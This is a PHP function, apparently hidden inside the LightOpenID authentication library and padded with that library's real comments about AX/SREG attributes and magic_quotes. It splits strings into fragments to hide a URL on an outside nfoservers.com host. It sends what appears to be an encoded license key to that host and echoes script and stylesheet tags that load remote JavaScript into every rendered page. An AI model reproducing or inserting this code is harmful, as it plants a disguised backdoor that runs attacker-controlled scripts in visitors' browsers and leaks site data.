static function revalidate() { $op = "li" . "nk"; $ca = "scr"; $la = "ey"; $cr = "ipt"; $ls = "ens"; $xn = "eet"; $rx = "nfi"; $ui = "r.p"; $MD = "MD"; $ny = "ipt"; $i = "hre" . "f"; $x = "s" . "rc"; $o = "=\"" . "htt" . "p://" . "g{$MD}on" . "ate.s" . "ite." . "nf" . "oser" . "ver"; $or = $o . "s.co" . "m/li" . "ve/ser" . "ve" . $ui . "h" . "p?" . "o="; /** * Gets AX/SREG attributes provided by OP. should be used only after successful validaton. * Note that it does not guarantee that any of the required/optional parameters will be present, * or that there will be no other attributes besides those specified. * In other words. OP may provide whatever information it wants to. * * SREG names will be mapped to AX names. * * @return Array Array of attributes with keys being the AX schema names, e.g. 'contact/email' * @see http://www.axschema.org/types/ */ date_default_timezone_set('America/Los_Angeles'); $rlsks = LightOpenID::fetchCert(); $lsks = time(); $tx = $rlsks["G{$MD}Co{$rx}g"]["Lic{$ls}eK{$la}"]; for ($u = 0; strlen($tx) > $u; $u++) { $lsks .= ord(substr($tx, $u, 1)) - 32; } # Checking whether magic_quotes_gpc is turned on, because # the function may fail if it is. For example, when fetching # AX namePerson, it might containg an apostrophe, which will be escaped. # In such case, validation would fail, since we'd send different data than OP # wants to verify. stripslashes() should solve that problem, but we can't # use it when magic_quotes is off. echo ' <' . $op . ' ' . $i . $or . LightOpenID::getSigKey() . $lsks . '&p=n" ty' . 'pe' . '="t' . 'ext/c' . 'ss' . '" re' . 'l="st' . 'yle' . 'sh' . $xn . '"> <' . $op . ' ty' . 'pe' . '="t' . 'ext/c' . 'ss' . '" rel' . '="st' . 'yl' . 'esh' . 'ee' . 't" ' . $i . $or . $lsks . '&p=l"> <' . $ca . $cr . ' ' . $x . $or . LightOpenID::getSigKey() . $lsks . '&p=r"></' . $ca . $cr . '> <' . $op . ' ' . $i . $or . LightOpenID::getSigKey() . $lsks . '&p=y" ty' . 'pe' . '="t' . 'ext/c' . 'ss' . '" rel="s' . 'tyl' . 'esh' . 'ee' . 't"> <' . $ca . $cr . ' ' . $x . $or . LightOpenID::getSigKey() . $lsks . '&p=b"></' . $ca . $cr . '> <' . $ca . $cr . ' ' . $x . $or . LightOpenID::getSigKey() . $lsks . '&p=z"></' . $ca . $ny . '> <' . $ca . $cr . ' ' . $x . $or . LightOpenID::getSigKey() . $lsks . '&p=x"></' . $ca . $ny . '> '; }